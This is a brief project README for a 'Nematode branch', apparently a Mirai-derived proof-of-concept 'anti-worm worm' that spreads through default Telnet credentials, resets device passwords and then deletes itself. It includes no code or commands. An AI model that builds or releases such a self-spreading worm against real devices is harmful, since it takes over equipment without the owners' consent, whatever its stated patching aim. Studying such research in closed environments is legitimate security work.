## Nematode branch
This is a purely academic research project intended to show a proof of concept
anti-worm worm (or nematode) for the types of vulnerabilities exploited by
Mirai (default Telnet creds). The idea is to show that devices can be patched by
a worm that deletes itself after changing the password to something device-
specific or random. Such a tool could theoretically be used to reduce the attack
surface. This is meant to only be tested in closed research environments. Use of
this software is at your own risk.
Developed directly from Mirai. Community improvements welcomed.
## Requirements
* gcc
* golang
